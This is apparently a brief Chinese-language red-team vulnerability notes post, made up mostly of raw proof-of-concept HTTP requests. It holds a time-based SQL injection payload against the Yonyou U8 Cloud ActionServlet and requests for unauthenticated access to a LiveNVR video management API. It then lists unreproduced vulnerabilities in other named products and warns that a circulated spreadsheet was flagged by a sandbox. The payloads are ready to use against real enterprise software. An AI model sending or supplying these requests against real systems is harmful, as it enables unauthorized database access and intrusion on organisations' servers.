用友U8
Cloud ActionServlet SQL注入漏洞

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close

livenvr青柿视频管理系统channeltree接口未授权访问

GET /api/v1/device/channeltree?serial=&pcode HTTP/1.1Host: 
GET /#/screen HTTP/1.1Host:

目前未复现成功的漏洞 

北京筑业建设工程资料同步跟踪检查与流转交互云平台密码重置漏洞
同鑫科技 EHR 系统全系列 SQL 注入漏洞
金和 OA C6CreateGroup 接口注入漏洞
奇安信天擎远程代码执行漏洞

网传的这份表格谨慎打开，云沙箱有多项检出

护网新瓜之红队魅力时刻